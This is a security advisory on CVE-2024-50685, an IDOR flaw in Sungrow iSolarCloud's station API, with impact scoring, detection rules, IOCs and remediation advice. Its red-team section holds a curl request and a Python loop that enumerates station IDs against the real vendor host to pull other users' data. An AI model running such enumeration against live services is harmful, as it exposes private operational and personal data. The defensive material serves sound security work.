CVE-2024-50685

Executive Summary

CVE-2024-50685 is an Insecure Direct Object Reference (IDOR) vulnerability in Sungrow iSolarCloud, a cloud-based solar energy management platform. The flaw exists in the powerStationService API model, allowing an authenticated attacker to access or manipulate data belonging to other users or power stations by simply modifying object identifiers in API requests. This can lead to unauthorized disclosure of sensitive operational data, configuration tampering, and potential disruption of solar energy systems. No public proof-of-concept or exploit code has been released, and the vendor has not issued a formal patch but has applied a server-side remediation as of October 31, 2024.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary cloud service (iSolarCloud) and its backend API. The risk is primarily to end-users of the iSolarCloud platform and the organizations managing solar installations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD. However, based on the nature of the vulnerability (IDOR in a cloud API), a reasonable assessment would be:

• Attack Vector (AV): Network (N) – Exploitable remotely over the internet.
• Attack Complexity (AC): Low (L) – Requires only knowledge of valid object IDs.
• Privileges Required (PR): Low (L) – Requires a valid user account on iSolarCloud.
• User Interaction (UI): None (N) – No user action needed beyond authentication.
• Scope (S): Unchanged (U) – The vulnerable component is the API itself.
• Confidentiality (C): High (H) – Can expose sensitive operational data.
• Integrity (I): High (H) – Can modify configuration or data.
• Availability (A): Low (L) – Could disrupt monitoring or control functions.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L Estimated Base Score: 7.6 (High)

Threat Level: High. The vulnerability is easy to exploit once authenticated, and the potential impact on critical energy infrastructure is significant.

Deep Dive & Mechanics

The vulnerability resides in the powerStationService API model of the iSolarCloud platform. This API is used to manage and retrieve data for solar power stations, including:

• Real-time energy production data
• Historical performance metrics
• Device configuration and status
• User account and billing information

The API likely uses numeric or alphanumeric identifiers (e.g., station_id, user_id) to reference specific resources. Due to insufficient authorization checks, the API does not verify that the authenticated user has permission to access the resource identified by the provided ID. An attacker can enumerate or guess valid IDs and send crafted API requests to access or modify data belonging to other users or power stations.

Example Attack Flow:

1. Attacker authenticates to iSolarCloud (e.g., via a legitimate account or compromised credentials).
2. Attacker intercepts a legitimate API request, such as:

   GET /api/v1/powerStationService/getStationData?stationId=12345
   

3. Attacker modifies the stationId parameter to another value, e.g., 12346.
4. If the API does not verify ownership, the attacker receives the data for station 12346.
5. The attacker can repeat this process to enumerate all accessible stations and extract sensitive data.

Vulnerable vs. Patched Code

Since this is a server-side vulnerability in a proprietary cloud service, no source code is publicly available. However, the conceptual difference is:

Vulnerable Code (Conceptual):

@app.route('/api/v1/powerStationService/getStationData')
def get_station_data():
    station_id = request.args.get('stationId')
    # No authorization check - directly queries database
    data = db.query("SELECT * FROM stations WHERE id = ?", station_id)
    return jsonify(data)

Patched Code (Conceptual):

@app.route('/api/v1/powerStationService/getStationData')
def get_station_data():
    station_id = request.args.get('stationId')
    user_id = get_current_user_id()
    # Authorization check - verify user owns or has access to the station
    if not db.query("SELECT 1 FROM user_stations WHERE user_id = ? AND station_id = ?", user_id, station_id):
        return jsonify({"error": "Unauthorized"}), 403
    data = db.query("SELECT * FROM stations WHERE id = ?", station_id)
    return jsonify(data)

The patch adds a server-side authorization check to ensure the requesting user has explicit permission to access the specified resource.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid iSolarCloud user account.
• Network access to the iSolarCloud API endpoints.
• A tool like Burp Suite, Postman, or a custom script.

Exploitation Steps:

1. Authenticate: Log in to iSolarCloud and capture a valid session token (e.g., JWT, cookie).
2. Identify API Endpoint: Monitor network traffic to find requests to powerStationService endpoints. Common patterns include:
   • /api/v1/powerStationService/getStationData
   • /api/v1/powerStationService/updateStationConfig
   • /api/v1/powerStationService/listStations
3. Craft IDOR Request: Using the captured session, send a request with a modified object ID. For example:

   curl -X GET "https://isolarcloud.sungrow.com/api/v1/powerStationService/getStationData?stationId=100001" \
     -H "Authorization: Bearer <token>"
   

4. Enumerate IDs: Use a script to iterate through possible IDs (e.g., 100000-999999) and check for successful responses (HTTP 200) vs. errors (HTTP 403/404).
5. Extract Data: Collect sensitive information from successful responses, such as energy production data, device credentials, or user PII.

Automation Script (Python):

import requests

base_url = "https://isolarcloud.sungrow.com/api/v1/powerStationService"
token = "<your_token>"
headers = {"Authorization": f"Bearer {token}"}

for station_id in range(100000, 100100):
    response = requests.get(f"{base_url}/getStationData?stationId={station_id}", headers=headers)
    if response.status_code == 200:
        print(f"Vulnerable station {station_id}: {response.text}")

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Deploy WAF rules to detect and block requests with sequential or unusual object IDs.
• API Rate Limiting: Implement rate limiting on API endpoints to slow down enumeration attempts.
• Anomaly Detection: Monitor for patterns of requests with varying object IDs from a single user in a short time frame.
• Logging & Auditing: Enable detailed logging of all API access, including user ID, object ID, and response status. Alert on repeated 403 errors followed by 200 successes.
• User Behavior Analytics: Establish baselines for normal user behavior and flag deviations (e.g., a user accessing hundreds of stations).

Indicators of Compromise (IOCs)

• Network IOCs:

  • Unusual API requests to powerStationService endpoints with varying stationId or userId parameters.
  • High volume of HTTP 403 errors followed by HTTP 200 responses from the same IP/user.
  • Requests to endpoints like /api/v1/powerStationService/getStationData with non-standard parameters.

• Log IOCs:

  • Log entries showing a single user accessing multiple distinct station IDs in a short period.
  • Log entries with user_id not matching the station_id ownership in the database.

• System IOCs:

  • Unauthorized changes to power station configurations.
  • Unexplained access to sensitive data (e.g., energy production reports, billing info).

Detection Engineering

YARA Rule

rule CVE_2024_50685_IDOR_iSolarCloud {
    meta:
        description = "Detects potential IDOR exploitation attempts against Sungrow iSolarCloud powerStationService API"
        author = "Valters IT"
        date = "2024-11-01"
        reference = "CVE-2024-50685"
    strings:
        $api_path = "/api/v1/powerStationService/" nocase
        $station_param = "stationId=" nocase
        $user_param = "userId=" nocase
        $suspicious_range = /stationId=[0-9]{5,}/  // IDs with 5+ digits
    condition:
        $api_path and ($station_param or $user_param) and $suspicious_range
}

Sigma Rule

title: Suspicious iSolarCloud API Access Pattern
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential IDOR exploitation against Sungrow iSolarCloud by monitoring for sequential or bulk API requests to powerStationService endpoints.
author: Valters IT
date: 2024-11-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50685
logsource:
    category: web
    product: iis
    service: application
detection:
    selection:
        cs-uri-stem:
            - '/api/v1/powerStationService/*'
        cs-method: 'GET'
    condition: selection
    timeframe: 5m
    aggregation:
        - field: c-ip
          function: distinct_count
          value: cs-uri-query
          condition: gt 50
falsepositives:
    - Legitimate bulk data export by administrators
level: high
tags:
    - attack.t1190
    - cve.2024.50685

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-50685 - Potential iSolarCloud IDOR Exploitation";
    flow:to_server,established;
    content:"/api/v1/powerStationService/"; http_uri;
    content:"stationId="; http_uri;
    pcre:"/stationId=[0-9]{5,}/";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-50685;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Apply Vendor Remediation: Ensure your iSolarCloud instance is updated to the version released after October 31, 2024. Contact Sungrow support if unsure.
2. Review Access Logs: Audit iSolarCloud access logs for any signs of unauthorized data access or enumeration.
3. Rotate Credentials: If any user accounts may have been compromised, force password resets and revoke API tokens.

Long-Term Mitigations:

• Implement Strong Authorization: Ensure all API endpoints validate that the authenticated user has explicit permission to access the requested resource.
• Use UUIDs: Replace sequential numeric IDs with unpredictable UUIDs to make enumeration harder.
• Deploy API Security Tools: Use tools like API gateways, WAFs, and runtime protection to detect and block IDOR attempts.
• Conduct Regular Security Audits: Perform penetration testing and code reviews focusing on authorization logic.
• User Education: Train users to report any suspicious activity or unexpected data exposure.

Workaround (if patch cannot be applied immediately):

• Restrict API access to trusted IP ranges using network ACLs.
• Implement additional logging and monitoring for the powerStationService endpoints.
• Temporarily disable non-essential API features if possible.

Valters IT
Securing Digital Infrastructure